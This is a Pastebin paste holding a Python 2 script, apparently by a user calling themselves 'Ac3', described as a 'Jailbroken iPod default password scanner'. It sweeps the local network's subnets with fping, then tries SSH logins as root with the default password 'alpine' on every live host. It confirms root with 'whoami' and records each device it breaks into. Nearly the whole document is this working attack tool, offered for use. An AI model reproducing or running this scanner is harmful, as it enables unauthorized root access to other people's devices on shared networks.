Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #Jailbroken iPod default password scanner, make sure you install fping & paramiko
- #Written in Ubuntu by Ac3
- import paramiko
- import os
- ssh = paramiko.SSHClient()
- ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
- subnet = os.popen("ifconfig").read().split("inet addr:")[2].split()[0]
- print '[It appears your subnet is ' + subnet + ']'
- #find hosts on LAN
- print '[Scanning...]'
- #fping 171.17.0/24.0/24
- count = 12
- def run():
- global count
- if count == 255:
- return
- s_count = str(count)
- os.popen("fping -a -g "+subnet.split(".")[0]+"."+subnet.split(".")[1]+"."+s_count+".0/24 > temp"+s_count)
- count = count+1
- run()
- run()
- print "[Merging...]"
- count = 12
- def merge():
- global count
- s_count = str(count)
- x = open("temp"+s_count, "r")
- contents = x.read().split('\n')
- x.close()
- x = open("merge", "a")
- for f in contents:
- if f == "":
- continue
- x.write(f+'\n')
- x.close()
- count = count + 1
- try:
- merge()
- except:
- pass
- merge()
- print '[Cleaning up...]'
- os.system("rm temp*")
- file = open('merge', 'r')
- ip_list = file.read().split("\n")
- file.close()
- ip_length = len(ip_list)-1
- os.system("rm merge")
- count = 0
- print "[Testing " +str(ip_length)+ " hosts]"
- #test all the hosts
- def scan():
- global count
- if count == ip_length:
- return
- try:
- ip_list[count] = ip_list[count].replace(" ","")
- print "Trying ["+ip_list[count]+"]"
- ssh.connect(ip_list[count], username="root", password="alpine")
- stdin, stdout, stderr = ssh.exec_command("whoami")
- if stdout.read().split("\n")[0] == "root":
- try:
- o = open("root.tmp", "w")
- o.write("ROOT ACCESS HOST="+ip_list[count])
- o.close()
- os.system("gedit root.tmp")
- except:pass
- raw_input("ROOT ACCESS, HOST="+ip_list[count])
- else:
- ssh.close()
- except:pass
- count = count + 1
- scan()
- scan()
- exit()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement